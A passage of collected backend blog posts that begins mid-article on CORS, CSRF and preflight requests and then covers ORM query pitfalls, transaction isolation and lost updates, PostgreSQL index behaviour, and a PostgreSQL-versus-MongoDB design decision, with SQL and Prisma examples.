There's a related attack that CORS is sometimes confused with protecting against: Cross-Site Request Forgery (CSRF).
CSRF exploits the fact that browsers automatically send cookies with requests to matching domains. If you're logged into `yourbank.com` and visit `evil.com`, a form on `evil.com` can submit a POST request to `yourbank.com/transfer` and your session cookie goes along for the ride.
CORS doesn't fully protect against this. Simple requests (forms, `application/x-www-form-urlencoded`) don't trigger CORS preflight checks. CORS protects against reading the response, not against the request being made.
CSRF protection requires CSRF tokens, `SameSite` cookie attributes, or checking `Origin`/`Referer` headers explicitly.
```js
// SameSite=Strict: cookie never sent from cross-site context
// SameSite=Lax: cookie sent with top-level navigation but not sub-requests
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
```
Modern browsers default to `SameSite=Lax` for cookies that don't specify it, which gives you some protection for free. But `SameSite=Strict` + explicit CSRF tokens is the right approach for anything sensitive.
## The Preflight Request
One more thing worth understanding: the preflight.
For "non-simple" requests (most POST/PUT/DELETE with JSON bodies, custom headers, etc.), the browser sends an `OPTIONS` request first to check if the cross-origin request is allowed.
```
OPTIONS /api/users HTTP/1.1
Origin: https://evil.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: Authorization, Content-Type
```
The server either approves or rejects this. If approved, the actual request goes through (from the browser's perspective).
The mistake I see: devs thinking this `OPTIONS` check means unauthorized parties can't make the real request. They can. Nothing about the preflight stops a non-browser client from skipping it entirely and sending the DELETE directly.
## What Actually Protects Your API
Since CORS doesn't:
1. **Authentication**, every request proves identity. JWT, session cookie, API key. Pick one, implement it everywhere.
2. **Authorization**, every request proves permission. User 42 cannot delete user 43's data. Check this explicitly, not implicitly.
3. **Input validation**, validate and sanitize at the server. Never trust client input.
4. **Rate limiting**, on account identifiers, not IPs. (Wrote about this already.)
5. **CSRF tokens**, for cookie-based auth. `SameSite=Strict` at minimum.
6. **HTTPS**, always. Prevents MITM. Has nothing to do with CORS but gets forgotten.
CORS is a browser-side ergonomics feature that prevents one specific category of cross-site attack. Configure it correctly, don't allow `*` for authenticated endpoints, don't set `credentials: true` without thought. But don't mistake it for your security perimeter.
Your security perimeter is auth. CORS is just the browser being polite.
---
## N+1 Is the Least of Your ORM Problems
- URL: https://thatdevguy.in/blogs/n-plus-one-is-least-of-your-orm-problems
- Published: 2026-02-24
- Author: Subhadip Saha
- Tags: Backend, Databases, ORM, Performance, PostgreSQL
> You fixed the N+1 query. Congratulations. Now your eager loading is doing cartesian explosions, memory bloat, and ghost queries you didn't know existed. ORMs give you more ways to shoot yourself.
Every ORM tutorial teaches you about N+1 queries. Fetch 100 posts, loop to get each post's author, that's 101 queries. Bad. Use eager loading. Problem solved.
And then developers think they've learned ORM performance. They add `.include()` or `.with()` everywhere and move on.
I've reviewed production codebases where every data fetch was eager-loaded, every relationship was pre-joined, and the app was still slow. In some cases, *slower* than if they'd had N+1 problems. Because N+1 is a beginner mistake that junior devs fix. Cartesian explosions and memory bloat are what you get after you've "fixed" everything by the book.
## The N+1 You Already Know
Quick recap so we're on the same page:
```ts
// Prisma example, this is the N+1 problem
const posts = await prisma.post.findMany(); // 1 query: fetch 100 posts
for (const post of posts) {
const author = await prisma.user.findUnique({ where: { id: post.authorId } }); // 100 queries
}
// Total: 101 queries
```
Fix: eager load the relation.
```ts
const posts = await prisma.post.findMany({
include: { author: true }, // 1 query with JOIN, or 2 queries in batch, depending on ORM
});
```
This is fine. This is the right fix for N+1. But it's where most people stop thinking.
## Problem 1: The Cartesian Explosion
Say a post has authors AND tags. Both are one-to-many relationships.
```ts
const posts = await prisma.post.findMany({
include: {
author: true,
tags: true, // posts have multiple tags
comments: true, // posts have multiple comments
},
});
```
If you're fetching 50 posts, each with 5 tags and 20 comments, how many rows is this JOIN returning?
**50 posts × 5 tags × 20 comments = 5,000 rows.**
Your database is assembling 5,000 rows just to represent 50 posts. The ORM then collapses them back into 50 objects in memory. You're doing 100x the work at the database level, shipping 100x the data over the wire, and using 100x the memory during deserialization, all to end up with 50 objects.
Most ORMs handle multiple `has_many` relations by doing separate queries in batch rather than one massive JOIN, specifically to avoid this. Prisma does this. ActiveRecord in Rails does this with `preload`. But not all ORMs do by default, and developers often don't check what SQL is actually running.
Log your queries. In Prisma: `new PrismaClient({ log: ['query'] })`. In Sequelize: `logging: console.log`. In Django ORM: `DEBUG=True` logs all queries. You should always know what's hitting your database.
The cartesian explosion is worst when you have deeply nested eager loading:
```ts
const orders = await prisma.order.findMany({
include: {
user: {
include: {
address: true,
paymentMethods: true,
},
},
items: {
include: {
product: {
include: { category: true, images: true },
},
},
},
shipments: true,
},
});
```
If a JOIN is involved anywhere in that chain with a many relationship, you're multiplying rows. Run `EXPLAIN ANALYZE` on the generated SQL and look at the actual row counts.
## Problem 2: Over-Fetching Everything
Eager loading the full relation means fetching every column of every related record. That's rarely what you need.
```ts
// Fetches ALL columns from users, posts, and comments
const users = await prisma.user.findMany({
include: { posts: { include: { comments: true } } },
});
```
If you're rendering a list of user names and post titles, you just pulled: user passwords (hashed, but still), bios, created_at timestamps, post body text (could be megabytes), comment bodies, comment metadata, all of it.
Use `select` instead of `include`:
```ts
const users = await prisma.user.findMany({
select: {
id: true,
name: true,
posts: {
select: {
id: true,
title: true,
_count: { select: { comments: true } }, // count without fetching
},
},
},
});
```
This fetches exactly what you need. If a user's bio is 2kb and you're fetching 1000 users, that's 2MB of data you're pulling, deserializing, and throwing away. At scale that's real latency and real memory pressure.
## Problem 3: Ghost Queries
ORMs do things you don't ask for. This is the one that tends to produce the most debugging confusion.
In Sequelize, accessing a property on an instance can trigger a lazy-load if the association isn't eager-loaded:
```js
const user = await User.findOne({ where: { id: 42 } });
// no include
console.log(await user.getPosts()); // hidden query here
console.log(await user.getProfile()); // another hidden query
```
This looks like two property accesses. It's two database queries. In a loop over 50 users, that's 100 hidden queries.
TypeORM has lazy relations that trigger queries on property access too. ActiveRecord's lazy loading is famous for this, accessing `post.author` triggers a query if you didn't eager-load it.
The only defense is knowing your ORM's behavior mode and logging queries during development. I've seen engineers profile slow API responses and find 40+ queries they had no idea were running.
Never trust an ORM to "just work" without seeing the SQL it generates. Log queries in development, always. If query count surprises you, fix it before it reaches production.
## Problem 4: The "Eager Load Everything" Antipattern
The natural overcorrection to N+1 is to include every relation everywhere, always:
```ts
// "Safe" because we won't have N+1 problems, right?
function getUser(id: string) {
return prisma.user.findUnique({
where: { id },
include: {
posts: { include: { comments: true, tags: true } },
followers: true,
following: true,
profile: true,
notifications: true,
},
});
}
```
This function is called from five different API endpoints. Two of them need only the user's name and avatar. One of them is called on every page load.
You're fetching the user's entire social graph, all their posts, all comments, all tags, all notifications, on every page load, because you wanted to avoid N+1.
The right fix is to fetch only what each endpoint needs. Create specific query functions per use case:
```ts
function getUserBasic(id: string) {
return prisma.user.findUnique({
where: { id },
select: { id: true, name: true, avatarUrl: true },
});
}
function getUserWithPosts(id: string) {
return prisma.user.findUnique({
where: { id },
select: {
id: true,
name: true,
posts: { select: { id: true, title: true, date: true } },
},
});
}
```
More code, yes. But each query is precisely scoped to what the caller needs.
## Problem 5: Missing Indexes on Foreign Keys
This one isn't about ORMs specifically but it's where ORM users get bitten because migrations hide the SQL.
ORMs create foreign keys but don't always create indexes on them by default.
```sql
-- Prisma migration: creates the FK constraint, creates the index
-- Sequelize: creates the FK, may or may not index depending on version and config
-- Hibernate: creates the FK, does NOT automatically create an index
```
A JOIN on an unindexed foreign key is a sequential scan on every join. If you're joining `orders` to `users` on `orders.user_id` and `user_id` has no index, every query that filters or sorts by user ends up scanning the whole orders table.
```sql
-- Check your indexes
SELECT
t.relname AS table_name,
a.attname AS column_name,
ix.relname AS index_name
FROM pg_class t
JOIN pg_attribute a ON a.attrelid = t.oid
LEFT JOIN pg_index i ON i.indrelid = t.oid AND a.attnum = ANY(i.indkey)
LEFT JOIN pg_class ix ON ix.oid = i.indexrelid
WHERE t.relname IN ('orders', 'users', 'posts', 'comments')
ORDER BY t.relname, a.attnum;
```
Check every foreign key column in your schema. Add missing indexes manually if your ORM didn't.
## The Checklist
Before you call an ORM query done:
- [ ] Logged the generated SQL, you know what's hitting the database
- [ ] No cartesian explosion, multiple `has_many` eager loads are in separate queries, not one JOIN
- [ ] Using `select` not `include` where you don't need full records
- [ ] No lazy-load magic hidden inside loops
- [ ] Query is scoped to what the caller actually needs, not "everything, just in case"
- [ ] Foreign key indexes exist on all join columns
N+1 is a real problem. Fix it. But an ORM is not a query optimizer, it doesn't know what your endpoint actually needs, it doesn't know what's in your cache, and it doesn't know which of those six nested includes is about to explode your row count. That judgment is yours.
---
## Your Database Transactions Aren't Doing What You Think
- URL: https://thatdevguy.in/blogs/database-transactions-arent-what-you-think
- Published: 2026-02-03
- Author: Subhadip Saha
- Tags: Databases, PostgreSQL, Backend, Performance
> You wrapped it in a transaction. The data is still inconsistent. Isolation levels, phantom reads, and why 'serializable' is theater in most database configs.
I had a bug once that took two days to reproduce in staging and another day to understand. Two concurrent requests were both reading the same balance, both deciding the user had enough credit, and both deducting it. The user got twice what they should have.
Everything was wrapped in a transaction. I had checked.
The transaction wasn't the problem. The isolation level was. And I had never once thought about isolation levels because I assumed "transaction = atomic = safe." That assumption was wrong.
## What a Transaction Actually Guarantees
ACID. Developers learn this acronym and think they understand transactions. Let's be honest about what each letter actually means in practice.
**Atomicity**, all operations in the transaction succeed, or none do. If you update two rows and the second fails, the first rolls back. This is what most people think of when they say "transaction."
**Consistency**, the database moves from one valid state to another. Constraints, foreign keys, check constraints, all enforced at commit time.
**Isolation**, transactions don't interfere with each other. This is the part most people get wrong, because isolation is not a binary. It's a spectrum.
**Durability**, once committed, the data survives crashes. Basically: WAL logging.
Isolation is where your concurrent bugs live. And the default isolation level in most databases is not what you'd want if you thought about it.
## The Four Isolation Levels
SQL standard defines four isolation levels, each allowing progressively more anomalies:
| Level | Dirty Read | Non-Repeatable Read | Phantom Read |
|---|---|---|---|
| READ UNCOMMITTED | possible | possible | possible |
| READ COMMITTED | prevented | possible | possible |
| REPEATABLE READ | prevented | prevented | possible |
| SERIALIZABLE | prevented | prevented | prevented |
**PostgreSQL default: READ COMMITTED.**
**MySQL (InnoDB) default: REPEATABLE READ.**
Most applications run at READ COMMITTED and never think about it. This means two specific anomalies are possible in your application right now.
## The Non-Repeatable Read
You read a row inside a transaction. Another transaction updates that row and commits. You read the same row again in your still-open transaction, and you get the updated value. The same query returned different results within a single transaction.
```sql
-- Transaction A (READ COMMITTED)
BEGIN;
SELECT balance FROM accounts WHERE id = 1;
-- returns: 500
-- Transaction B (commits between A's two reads)
UPDATE accounts SET balance = 200 WHERE id = 1;
COMMIT;
-- Transaction A continues
SELECT balance FROM accounts WHERE id = 1;
-- returns: 200 ← different result, same transaction
COMMIT;
```
In most application code this manifests as: you read data, do some logic based on it, read related data, and by the time you're making a decision, the first read is stale. You're making decisions based on data that no longer exists.
## The Phantom Read
You query for all rows matching a condition. Another transaction inserts a new row that matches your condition and commits. You run the same query again in your still-open transaction, and you get an extra row that wasn't there before.
```sql
-- Transaction A (REPEATABLE READ)
BEGIN;
SELECT COUNT(*) FROM orders WHERE user_id = 42 AND status = 'pending';
-- returns: 2
-- Transaction B inserts a new pending order and commits
-- Transaction A continues
SELECT * FROM orders WHERE user_id = 42 AND status = 'pending';
-- returns: 3 rows ← phantom appeared
```
This breaks any logic that assumes "if the count was N when I started, it's still N." Approval workflows, quota checks, inventory limits, all vulnerable to phantom reads.
## My Actual Bug: The Lost Update
Back to the credit bug. Here's what happened:
```ts
// Both requests ran this function simultaneously
async function deductCredit(userId: string, amount: number) {
return prisma.$transaction(async (tx) => {
const user = await tx.user.findUnique({ where: { id: userId } });
if (user.credits < amount) {
throw new Error('Insufficient credits');
}
await tx.user.update({
where: { id: userId },
data: { credits: user.credits - amount },
});
});
}
```
Two concurrent requests, both at READ COMMITTED:
1. Request A reads: credits = 100
2. Request B reads: credits = 100 (A hasn't committed yet)
3. Request A: 100 >= 50, deducts, writes 50, commits
4. Request B: 100 >= 80, deducts, writes 20, commits
The check passed for both because both read the value before either updated it. The user ended up with 20 credits instead of 100 - 50 - 80 = deficit (which should have been rejected).
This is called a **lost update**. Transaction A's write got overwritten by Transaction B. Both transactions "succeeded." The data is wrong.
## The Fixes (Pick the Right One)
**Option 1: Optimistic locking with a version column**
```ts
// Add a version column to your schema
// version Int @default(1)
async function deductCredit(userId: string, amount: number) {
return prisma.$transaction(async (tx) => {
const user = await tx.user.findUnique({ where: { id: userId } });
if (user.credits < amount) throw new Error('Insufficient credits');
const updated = await tx.user.updateMany({
where: { id: userId, version: user.version }, // only update if version matches
data: { credits: user.credits - amount, version: user.version + 1 },
});
if (updated.count === 0) {
throw new Error('Concurrent modification, retry');
}
});
}
```
If two requests read the same version, only one can successfully update it. The other gets `count === 0` and retries. No data corruption.
**Option 2: Pessimistic locking with `SELECT FOR UPDATE`**
```ts
// PostgreSQL: lock the row so no other transaction can read-then-update it simultaneously
const user = await tx.$queryRaw`
SELECT * FROM users WHERE id = ${userId} FOR UPDATE
`;
```
`FOR UPDATE` locks the row until your transaction commits. Concurrent requests trying to lock the same row will wait. Serializes access at the row level. Simpler logic, lower throughput under high concurrency.
**Option 3: Atomic update without reading first**
For the specific case of incrementing/decrementing:
```ts
// Don't read-then-write. Just write conditionally.
const updated = await prisma.user.updateMany({
where: { id: userId, credits: { gte: amount } },
data: { credits: { decrement: amount } },
});
if (updated.count === 0) throw new Error('Insufficient credits');
```
The database does the check and the update atomically. No read-then-write race condition because you never read. This works for simple numeric operations. For complex business logic where you need to read first, use Option 1 or 2.
## About SERIALIZABLE
"Why not just set the isolation level to SERIALIZABLE and be done with it?"
You can. PostgreSQL's SERIALIZABLE implementation is actually excellent, it uses Serializable Snapshot Isolation (SSI), which is optimistic and doesn't block reads. In theory: just use it.
In practice, a few things:
**SSI introduces serialization failures.** When Postgres detects that two concurrent transactions would produce a non-serializable outcome, it aborts one with error `ERROR: could not serialize access due to read/write dependencies among transactions`. Your application must catch this and retry. Most apps don't handle this.
**It's still not magic for distributed systems.** SERIALIZABLE guarantees serial ordering within one database. If your "transaction" spans a database call, a Redis write, and a third-party API call, SERIALIZABLE on the database doesn't make the whole thing atomic.
**Most ORMs don't expose it cleanly.** In Prisma:
```ts
await prisma.$transaction(async (tx) => {
// ...
}, {
isolationLevel: Prisma.TransactionIsolationLevel.Serializable,
});
```
You'll need retry logic around this:
```ts
async function withSerializableRetry(fn: () => Promise): Promise {
for (let i = 0; i < 5; i++) {
try {
return await fn();
} catch (e: any) {
if (e.code === 'P2034') continue; // Prisma serialization failure code
throw e;
}
}
throw new Error('Transaction failed after retries');
}
```
SERIALIZABLE is a real option. It's just not a drop-in fix you can set and forget.
## What You Should Actually Do
For most applications:
1. **Stay on READ COMMITTED**, the default is fine for reads that don't drive concurrent writes.
2. **Use atomic updates** where possible, don't read-then-write for numeric operations.
3. **Use `SELECT FOR UPDATE`** for read-then-decide-then-write patterns on critical data (credits, inventory, seats).
4. **Use optimistic locking** for high-contention entities where you want writes to retry rather than block.
5. **Reserve SERIALIZABLE** for complex invariants where explicit locking is unwieldy, implement retry logic.
The biggest mistake is running READ COMMITTED and assuming a transaction makes your concurrent logic correct. It doesn't. The isolation level defines what concurrent transactions can see of each other. Understanding that gap is the difference between correct concurrent code and a subtle production bug that only appears at 3am under load.
---
## PostgreSQL Is Lying to You About Your Indexes
- URL: https://thatdevguy.in/blogs/postgresql-lying-about-indexes
- Published: 2026-01-14
- Author: Subhadip Saha
- Tags: PostgreSQL, Databases, Performance, Backend
> You added the index. The query is still slow. Here's why Postgres doesn't care about your feelings, or your indexes.
I spent three hours once convinced I had a bug in my ORM. The query was slow. I had an index on the column. I could *see* the index in pgAdmin. And yet, full sequential scan, every single time.
Turns out I was the bug.
This is a collection of all the ways PostgreSQL will quietly ignore the index you carefully created, and why. No fluff. Just the stuff that actually trips people up.
## First: EXPLAIN vs EXPLAIN ANALYZE
Before anything else, you need to stop using plain `EXPLAIN` and start using `EXPLAIN ANALYZE`.
```sql
-- this lies to you
EXPLAIN SELECT * FROM orders WHERE user_id = 42;
-- this tells the truth
EXPLAIN ANALYZE SELECT * FROM orders WHERE user_id = 42;
```
Plain `EXPLAIN` shows the *plan* Postgres *thinks* it will use, based on statistics. `EXPLAIN ANALYZE` actually runs the query and shows what *really* happened, including actual row counts vs estimated row counts.
The gap between those two numbers is where most performance bugs live.
If the estimated rows say `1` and the actual rows say `84,000`, your statistics are stale. Run `ANALYZE orders;` and check again.
Add `BUFFERS` too: `EXPLAIN (ANALYZE, BUFFERS) SELECT ...`. It shows cache hits vs disk reads, which changes everything about how you interpret the output.
## The Small Table Problem
Postgres isn't stupid. If your table has 400 rows, a sequential scan is almost always faster than an index scan, and Postgres knows this. It reads the entire table in maybe 2-3 I/O operations. An index lookup would require reading the index pages *and then* the table pages. More work, not less.
So if you're testing on a table with dummy data and wondering why your index isn't being used, that's why. Fill the table with at least 10,000 rows and test again.
This is probably the most common "my index isn't working" complaint and the answer is almost always "your table is tiny."
## `LIKE '%foo'` Will Never Use a B-tree Index
This one surprises people every time.
```sql
-- uses the index on email ✓
SELECT * FROM users WHERE email LIKE 'john%';
-- does NOT use the index ✗
SELECT * FROM users WHERE email LIKE '%john%';
SELECT * FROM users WHERE email LIKE '%john';
```
A B-tree index works like a phone book. You can look up everyone whose name starts with "Sm" because the book is sorted. But if you want everyone whose name *contains* "mi" anywhere? You have to read every single entry. The index structure gives you nothing.
For `LIKE '%foo%'` patterns, you need either:
```sql
-- pg_trgm extension + GIN index
CREATE EXTENSION IF NOT EXISTS pg_trgm;
CREATE INDEX idx_users_email_trgm ON users USING GIN (email gin_trgm_ops);
```
Or rethink whether you actually need fuzzy search, and if so, whether `pg_trgm` or a proper full-text search setup is the right answer for your scale.
## The `NULL` Trap in Composite Indexes
This one is subtle and I've seen it bite senior engineers.
Say you have:
```sql
CREATE INDEX idx_orders_user_status ON orders (user_id, status);
```
And you run:
```sql
SELECT * FROM orders WHERE user_id = 42 AND status IS NULL;
```
Postgres *can* use this index. But:
```sql
SELECT * FROM orders WHERE user_id = 42;
```
Also works, leading column is all you need.
The trap is the *other direction*. This **cannot** use the index:
```sql
SELECT * FROM orders WHERE status = 'pending';
```
Composite indexes are left-anchored. You must include the leftmost column(s) in your WHERE clause for the index to kick in. Skipping `user_id` and filtering on `status` alone means a full scan.
Also worth knowing: B-tree indexes in Postgres *do* index NULL values (unlike some other databases). So `WHERE column IS NULL` can use an index. A lot of people assume NULLs are invisible to indexes, they're not, in Postgres.
MySQL and SQLite handle NULLs in indexes differently. If you're coming from either of those, your assumptions about NULL indexability are probably wrong in Postgres.
## Expression Indexes (The Underused One)
What if you need to query on a lowercase version of an email?
```sql
-- this cannot use a plain index on email
SELECT * FROM users WHERE LOWER(email) = 'john@example.com';
```
Plain index on `email` is useless here because Postgres would have to call `LOWER()` on every row to compare. The index stores the raw values, not the computed results.
The fix:
```sql
CREATE INDEX idx_users_lower_email ON users (LOWER(email));
```
Now Postgres stores `lower(email)` in the index and your query hits it directly. Same idea works for `DATE_TRUNC`, `EXTRACT`, JSON field access, anything.
The query in your application *must match the expression exactly* for this to work. `LOWER(email)` in the index and `lower(email)` in the query, Postgres is case-insensitive about function names here, but the expression structure must match.
## Partial Indexes (The Underused One, Part Two)
A partial index only indexes rows that match a condition. Smaller index, faster writes, faster reads for that specific case.
Example: your app queries for unprocessed jobs constantly. The `processed = false` rows are maybe 0.1% of the table.
```sql
CREATE INDEX idx_jobs_unprocessed ON jobs (created_at)
WHERE processed = false;
```
This index is tiny. It only contains the unprocessed rows. Queries that filter on `WHERE processed = false` hit this index and it's absurdly fast.
Your query needs to include the condition from the index for Postgres to use it:
```sql
-- uses the partial index ✓
SELECT * FROM jobs WHERE processed = false ORDER BY created_at;
-- does NOT use it ✗
SELECT * FROM jobs ORDER BY created_at;
```
I've seen cases where a partial index cut query time from 800ms to 2ms. Not because the index algorithm is magic, because the index is 1/1000th the size of a full index.
## When Postgres Ignores a Good Index Anyway
Sometimes the index is right, the query matches, the table is big enough, and Postgres still picks a seq scan.
Check `random_page_cost`. The default is `4.0`, which assumes spinning disk. On SSDs (which is basically everything now, including most cloud DB instances), it should be closer to `1.1`.
```sql
SET random_page_cost = 1.1;
```
Or set it per-session to test, then permanently in `postgresql.conf` or via your cloud provider's parameter group. With the wrong `random_page_cost`, Postgres's cost model overestimates how expensive random reads are and avoids index scans it should be using.
This one single setting has fixed "why isn't my index being used" complaints more times than I can count.
## The Checklist
Before you blame Postgres:
- [ ] Run `EXPLAIN (ANALYZE, BUFFERS)`, not plain `EXPLAIN`
- [ ] Table has enough rows (10k+ for meaningful index benchmarks)
- [ ] Pattern doesn't start with `%` (use `pg_trgm` for that)
- [ ] Composite index is being queried left-to-right
- [ ] Query matches the expression in an expression index exactly
- [ ] `random_page_cost` is set correctly for your storage type
- [ ] Statistics aren't stale, run `ANALYZE tablename` if in doubt
The index is almost never broken. The query is almost never broken. It's usually one of these seven things.
---
## How I Chose PostgreSQL Over MongoDB, And Where I'd Make the Opposite Call
- URL: https://thatdevguy.in/blogs/postgresql-vs-mongodb-tradeoffs
- Published: 2025-09-08
- Author: Subhadip Saha
- Tags: PostgreSQL, MongoDB, Databases, Backend, Architecture
> Not another 'SQL vs NoSQL' think piece. A real project decision from 2025, the constraints, the tradeoffs we evaluated, the choice we made, and the two cases where I'd flip it.
I want to preface this by saying I'm not here to tell you PostgreSQL is better than MongoDB, or the reverse. Both databases are excellent. The takes you find from googling "PostgreSQL vs MongoDB" are almost all useless because they're abstract, they compare the databases in a vacuum rather than against a specific problem.
This is about a specific project, a specific set of constraints, and the reasoning that led to a decision. I'll also tell you the two situations where I would have picked MongoDB, because the answer isn't always PostgreSQL.
## The Project
Early 2025. We were building a SaaS application for a client, a platform where businesses could create customizable forms, collect submissions, run automated workflows on those submissions, and export data in various formats.
Think Typeform crossed with Zapier, scoped to a specific industry.
The key data entities were:
- **Forms**, a structured definition of fields (variable schema)
- **Submissions**, the data collected per form (highly variable, mirrors the form schema)
- **Workflows**, rules that triggered on submission events
- **Users**, accounts, authentication, billing info, permissions
We were two engineers on the backend. Timeline was aggressive, MVP in 8 weeks.
## Why MongoDB Was the Obvious First Choice
Honestly, MongoDB looked like the right answer for the first three entities. Forms and submissions are the textbook use case for a document database.
A form has a variable number of fields. Each field has a type (text, number, date, multiple choice) and various configuration options that differ by type. A text field has a `maxLength`. A multiple choice field has an `options` array. A date field has `minDate` and `maxDate`. There's no fixed schema here, and representing this in a relational table means either a wide table with mostly nulls, an EAV (Entity-Attribute-Value) monstrosity, or storing JSON in a text column.
```json
// MongoDB document, natural for this data
{
"_id": "form_abc123",
"title": "Customer Feedback",
"fields": [
{ "id": "f1", "type": "text", "label": "Name", "required": true, "maxLength": 100 },
{ "id": "f2", "type": "select", "label": "Rating", "options": ["1", "2", "3", "4", "5"] },
{ "id": "f3", "type": "textarea", "label": "Comments", "required": false }
],
"settings": { "allowAnonymous": true, "submitOnce": false }
}
```
Submissions mirror the form structure:
```json
{
"_id": "sub_xyz789",
"formId": "form_abc123",
"submittedAt": "2025-03-15T10:23:00Z",
"data": {
"f1": "Sarah Chen",
"f2": "4",
"f3": "Great experience overall"
}
}
```
Clean document structure. No joins. Reads and writes are simple. MongoDB wins this.
## Why We Chose PostgreSQL Anyway
Three things pushed us toward Postgres.
**First: Users and billing.** Users, permissions, subscription tiers, billing history, team memberships, all of this is deeply relational. Users belong to organizations. Organizations have subscription plans. Plans have limits. Teams have roles. If we chose MongoDB, we'd be modeling relational data in a document store, fighting the database on every query involving permissions or billing.
We could have used two databases, MongoDB for forms and Postgres for users. We didn't want to. Two databases means two connection pools, two sets of migrations, two deployment concerns, two things that can go wrong at 3am. For two engineers on an 8-week timeline, operational simplicity mattered.
**Second: JSONB.** PostgreSQL has supported JSON since version 9.2 and JSONB (binary JSON with indexing) since 9.4. For our forms and submissions problem, Postgres JSONB is genuinely competitive with MongoDB.
```sql
-- Form fields stored in JSONB
CREATE TABLE forms (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
org_id UUID NOT NULL REFERENCES organizations(id),
title TEXT NOT NULL,
fields JSONB NOT NULL DEFAULT '[]',
settings JSONB NOT NULL DEFAULT '{}',
created_at TIMESTAMPTZ DEFAULT NOW()
);
-- Query specific field types within JSON
SELECT id, title
FROM forms
WHERE fields @> '[{"type": "select"}]'; -- forms that have at least one select field
-- Index on JSONB for performance
CREATE INDEX idx_forms_fields ON forms USING GIN (fields);
```
```sql
-- Submissions with variable data
CREATE TABLE submissions (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
form_id UUID NOT NULL REFERENCES forms(id),
data JSONB NOT NULL,
submitted_at TIMESTAMPTZ DEFAULT NOW()
);
-- Find submissions where a specific field has a specific value
SELECT id, data
FROM submissions
WHERE form_id = 'abc123'
AND data->>'f2' = '4'; -- filter on a field value
-- This query can use an index
CREATE INDEX idx_submissions_data ON submissions USING GIN (data);
```
The JSONB operators (`@>`, `->`, `->>`, `#>`) cover most of what we needed. We got flexible schema for forms and submissions, AND foreign key constraints, AND transactions that span user records and submission records atomically.
**Third: Transactions crossing entity boundaries.** When a user submits a form, we needed to atomically: insert the submission, decrement the organization's monthly submission count, trigger a workflow record. With Postgres, this is one transaction. With two databases, you're doing a distributed transaction or accepting eventual consistency.
```sql
BEGIN;
INSERT INTO submissions (form_id, data) VALUES ($1, $2) RETURNING id;
UPDATE organizations SET submission_count = submission_count + 1 WHERE id = $3;
INSERT INTO workflow_runs (workflow_id, submission_id, status) VALUES ($4, $5, 'pending');
COMMIT;
```
If any of these fail, nothing happens. With MongoDB (pre-4.0 or without multi-document transactions), we'd be writing compensating logic.
## What We Gave Up
Being honest about the tradeoffs:
**Schema migrations are painful.** When we added a new field type (`matrix`) with a new validation schema, we had to update validation code and write a data migration to backfill existing form definitions that referenced this type. MongoDB would have let us just start writing documents with the new shape, old documents stay as they are.
**JSONB querying is less ergonomic.** MongoDB's query language is designed for document querying. PostgreSQL's JSONB operators work but the syntax is ugly compared to `db.collection.find({ "fields.type": "select" })`. We wrote helper functions to abstract the worst of it.
**No native horizontal scaling.** Postgres scales vertically well. Horizontal sharding is possible but complex. MongoDB's native sharding is better if you're planning for massive write throughput on document data. For our scale at MVP, this didn't matter, but it's a real constraint at larger scale.
## When I Would Have Picked MongoDB
**Case 1: The relational data is minimal.** If we hadn't had users, billing, and organizations, if it had just been forms and submissions accessed via API keys, MongoDB would have been the right call. The variable schema is genuinely where document databases shine, and we wouldn't have needed ACID transactions across entity boundaries.
**Case 2: Content or catalog data with deeply nested, highly variable documents.** Product catalogs are the classic example. A laptop has different attributes than a t-shirt has different attributes than a vitamin supplement. The overlap in attributes is small. You'd need 150 columns to represent all possible attributes in a relational table, and most would be null for any given row. MongoDB's document model handles this more naturally, and the query patterns (find by category, filter by attributes) are well-supported.
## The Actual Deciding Factor
We chose PostgreSQL because **the hard parts of our application were relational**, and the variable-schema parts were manageable with JSONB.
If the hard parts of your application are documents, deeply nested, variable structure, accessed primarily by document ID or simple filters, MongoDB. If your application has significant relational structure that drives business logic, PostgreSQL with JSONB for the flexible parts.
The mistake I see teams make is choosing a database based on the nature of one entity type (e.g., "our events are variable schema, so MongoDB") and then realizing three months later that everything else, users, billing, audit logs, relationships, is relational and fighting the database.
Map out all your entities and their relationships first. If most arrows on the diagram are foreign-key relationships, you want Postgres. If most entities are independent documents with few cross-entity queries, you want MongoDB.
The database decision comes after that exercise, not before.